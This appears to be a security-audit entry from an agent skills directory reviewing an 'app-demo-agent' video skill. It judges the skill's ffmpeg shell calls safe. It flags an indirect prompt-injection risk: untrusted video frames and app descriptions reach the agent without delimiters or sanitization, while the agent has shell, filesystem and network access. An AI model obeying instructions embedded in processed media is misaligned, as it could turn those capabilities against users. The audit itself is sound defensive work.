The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses shell commands to process media, specifically for frame extraction and video analysis.
Evidence: The scripts/extract_frames.py script utilizes subprocess.run to call ffmpeg and ffprobe for extracting keyframes and determining video duration.
Context: This behavior is central to the skill's purpose. The implementation uses list-based arguments for subprocess calls, which is a standard security practice to prevent command injection.
[INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted user content, which could be used to influence the agent's behavior during script generation.
Ingestion points: The skill processes a user-supplied video file (INPUT_VIDEO) and an app description provided during the requirements gathering phase (SKILL.md, Step 1).
Boundary markers: The skill does not employ explicit delimiters or instructions to prevent the agent from obeying potential instructions embedded within the processed frames or the app description.
Capability inventory: The skill has access to shell execution via scripts/extract_frames.py, filesystem access for project management in ~/demo_project, and network access through external TTS and music generation modules.
Sanitization: There is no logic present to sanitize the visual content of the recording or the user's text input before it is used as context for generating the voiceover narration.

app-demo-agent